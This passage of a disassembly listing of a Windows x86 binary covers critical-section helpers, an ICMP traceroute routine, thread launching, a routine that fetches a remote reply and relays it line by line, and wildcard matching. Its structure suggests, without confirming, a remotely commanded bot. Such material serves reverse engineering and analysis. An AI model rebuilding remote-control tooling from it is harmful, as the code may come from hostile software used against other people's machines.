dword_41E3A8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp ds:dword_41E3C0, 0 jz short loc_409B25 push 10h push ds:dword_41E3C0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E3A8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E3A8 call sub_409C7A pop ecx push 3E8h call ds:dword_41709C ; Sleep push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, ds:dword_41E3C8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E3A8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp ds:dword_41DF10, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call ds:dword_41DF10 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call ds:dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call ds:dword_41E3CC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 ; ??2@YAPAXI@Z pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 ; ??2@YAPAXI@Z pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call ds:dword_41E3D8 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call ds:dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call ds:dword_41E3D4 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC ; ??3@YAXPAX@Z pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC ; ??3@YAXPAX@Z pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, ds:byte_41E3E0 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call ds:dword_417054 ; LoadLibraryA mov ds:dword_41E3D0, eax cmp ds:dword_41E3D0, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push ds:dword_41E3D0 call ds:dword_417058 ; GetProcAddress mov ds:dword_41E3CC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push ds:dword_41E3D0 call ds:dword_417058 ; GetProcAddress mov ds:dword_41E3D8, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push ds:dword_41E3D0 call ds:dword_417058 ; GetProcAddress mov ds:dword_41E3D4, eax mov ds:byte_41E3E0, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp ds:dword_41E3CC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp ds:dword_41E3D8, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp ds:dword_41E3D4, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call ds:dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call ds:dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call ds:dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call ds:dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call ds:dword_41709C ; Sleep push offset dword_41E3A8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E3A8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: 